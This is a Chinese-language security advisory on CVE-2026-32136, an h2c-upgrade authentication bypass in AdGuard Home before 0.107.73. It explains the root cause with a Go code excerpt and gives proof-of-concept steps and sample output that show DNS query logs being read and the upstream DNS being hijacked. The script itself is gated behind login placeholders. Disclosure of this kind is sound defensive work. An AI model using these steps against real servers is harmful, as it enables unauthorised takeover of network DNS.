AdGuard Home身份验证绕过CVE-2026-32136
AdGuard Home 是 AdGuard 推出的一款开源、免费、全网级广告拦截与隐私保护 DNS 服务器软件,能全网络范围的广告和追踪拦截。
一、基本情况
AdGuard Home 一次部署全网络生效,无客户端依赖,它在网络入口处通过 DNS 过滤实现全设备防护,无需在终端单独安装客户端。

AdGuard Home 提供 Web 管理界面,可以可视化查看查询日志、拦截统计、设备在线状态;支持 API 调用,便于自动化与集成管理。
栋科技漏洞库关注到 AdGuard Home 在 0.107.73 之前的版本存在身份验证绕过漏洞,追踪为CVE-2026-32136,CVSS 3.X评分为9.8。
二、漏洞分析
CVE-2026-32136是 AdGuard Home 中一个 h2c(明文 HTTP/2)协议升级漏洞,远程未授权攻击者利用此漏洞可完全绕过登录验证。
在 0.107.73 之前的版本中,未认证远程攻击者通过发送带有 Upgrade: h2c 标头的 HTTP/1.1 请求,诱导服务器切换到 HTTP/2 连接。
这就使得未认证的远程攻击者可以直接发送请求升级至 HTTP/2 明文(h2c)的 HTTP/1.1 请求,绕过 AdGuardHome 的全部认证机制。
由于升级后的连接由未挂载身份验证中间件的内部路由(mux)处理,因此导致该连接上的后续所有请求都会被视为已通过身份验证。
升级请求被接受后,所有请求都会由内部多路复用器处理,生成的 HTTP/2 连接都会被视为已完成完整认证,无论是否提供任何凭证。
这就导致远程未授权攻击者能够利用该漏洞,完全绕过登录验证,获取管理面板的最高控制权限。
三、POC概念验证
1、根本原因
在 internal/home/web.go 文件(约 268-283 行)中,HTTP 服务器的构建逻辑如下:
hdlr := h2c.NewHandler(
withMiddlewares(web.conf.mux, limitRequestBody), // no auth
&http2.Server{},
)
web.httpServer = &http.Server{
Handler: web.auth.middleware().Wrap(hdlr), // auth here
}
认证中间件在外层包裹 h2c 处理器。
h2c 升级请求到达时,h2c 库会劫持 TCP 连接并用创建 h2c.NewHandler 时存储的内部多路复用器作为处理器调用 http2.ServeConn。
通过最终生成的 HTTP/2 连接发送的任何请求,都不会经过认证中间件校验。
升级请求本身能够通过校验,是因为其目标为公开路径(如 /control/login),
该路径已在 internal/home/authhttp.go 文件的 isPublicResource () 函数中被加入白名单。升级完成后,攻击者可访问任意管理端点。
2、POC概念验证
本验证脚本通过建立原始 TCP 连接并使用 HTTP/2 帧实现绕过攻击,全程无需提供任何身份凭证。
管理员已设置登录后刷新可查看3、操作步骤:
(1)与 AdGuardHome 建立 TCP 连接(默认端口 3000)。
(2)发送 HTTP/1.1 GET /control/login 请求,并携带以下请求头:
管理员已设置登录后刷新可查看(3)服务器响应:101 Switching Protocols(协议切换成功)。
(4)完成 HTTP/2 握手(客户端序言 + SETTINGS 参数交换)。
(5)在流 3 上发送 HTTP/2 HEADERS 帧,请求 GET /control/status。
(6)服务器响应:HTTP 200 状态码,并返回完整的 JSON 状态数据。
4、输出示例
====================================================================
AdGuardHome -- h2c Authentication Bypass PoC
CWE-287: Full API access without credentials
====================================================================
Target : http://192.168.1.15:80
Upgrade : /control/login (whitelisted public path)
[*] Connecting and performing h2c upgrade ...
[+] Bypass established -- authentication is not enforced
[*] GET /control/status
[+] Version : v0.107.72
[+] DNS addresses: ['127.0.0.1', '::1', '192.168.1.15', 'fd64:b28c:45d2:4b5e:d35c:7660:e1b:92', 'fe80::ba65:3afa:617f:f077%eth0']
[+] HTTP port : 80
[+] Protection : ON
[*] GET /control/querylog (DNS query history)
[+] 10 recent entries:
2026-03-09T20:42:15 docker.home.andreko.net 192.168.1.232
2026-03-09T20:42:00 docker.home.andreko.net 192.168.1.232
2026-03-09T20:41:45 docker.home.andreko.net 192.168.1.232
2026-03-09T20:41:30 docker.home.andreko.net 192.168.1.232
2026-03-09T20:41:12 docker.home.andreko.net 192.168.1.232
[*] GET /control/dhcp/status (network device inventory)
[+] Dynamic leases : 0
[+] Static leases : 0
[*] POST /control/dns_config (DNS -> 8.8.8.8)
[+] Upstream DNS changed to 8.8.8.8
[+] All DNS queries now route through attacker-controlled server
5、由此可见该绕过漏洞可获取完整的管理员 API 权限,包括:
(1)查看与修改 DNS 配置
(2)添加恶意过滤规则列表
(3)关闭防护功能
(4)修改管理员密码
(5)劫持网络内所有客户端的 DNS 解析
四、影响范围
AdGuard Home < 0.107.73
五、修复建议
AdGuardHome >= 0.107.73
六、参考链接
管理员已设置登录后刷新可查看